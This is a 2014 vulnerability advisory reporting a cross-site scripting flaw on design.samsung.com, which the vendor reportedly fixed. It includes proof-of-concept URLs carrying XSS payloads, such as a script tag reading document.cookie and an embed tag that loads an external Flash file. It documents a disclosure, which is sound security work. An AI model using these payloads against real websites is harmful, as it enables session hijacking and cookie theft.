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Samsung Cross Site Scripting

Samsung Cross Site Scripting
Posted Jun 11, 2014
Authored by Robert Garcia

design.samsung.com suffered from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | e405ac0e6eb1da1f988a026c6a5827d1

Samsung Cross Site Scripting

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Advisory: design.samsung.com– Cross-Site Script Vulnerability (XSS) Advisory
ID: 03062014
Author: Roberto Garcia (@1gbDeInfo)
Affected Software: Successfully tested on design.samsung.com Vendor URL:
http://www.design.samsung.com Vendor Status: informed and solved
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Vulnerability Description
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The website " design.samsung.com " is prone to a XSS vulnerability.

This vulnerability involves the ability to inject arbitrary and unauthorized
javascript code. A malicious script inserted into a page in this manner can
hijack the user’s session, submit unauthorized transactions as the user,
steal confidential information, or simply deface the page.


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PoC-Exploit
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http://www.design.samsung.com/global/#search?q=data:text/html,/*%3Cimg%20src
=x%20%27-alert%280%29-%27%20onerror=alert%281%29%3E*/alert%281%29

http://www.design.samsung.com/global/#search?q=http://goo.gl/58yW2K


http://www.design.samsung.com/global/#search?q=%3Cembed/src=//v.ifeng.com/in
clude/exterior.swf?AutoPlay=false&guid=045d77fb-6777-405f-8b66-5bd85afc16ea%
20allowScriptAccess=always%3E


http://www.design.samsung.com/global/#search?q=%E2%80%9C%3E%3Cscript%3Ealert
%28document.cookie%29%3C/script%3E

PoC video is available at
https://mega.co.nz/#F!Ot5kERSS!5If3znRA2IOnAOrMZAAnlw


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Solution
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Solved, but have not notified me anything

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Disclosure Timeline
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- Report vuln Jun 03, 2014 via email to askdesign@samsung.com. I sent a
video with the POC.
- Website revised June 10. Solved, but nobody tells me

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Credits
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Vulnerability found and advisory written by Roberto Garcia


Best regards.

Roberto Garcia Amoriz

Linkedin: es.linkedin.com/in/rogaramo/
Web:  http://www.1gbdeinformacion.com
Twitter: @1gbdeinfo





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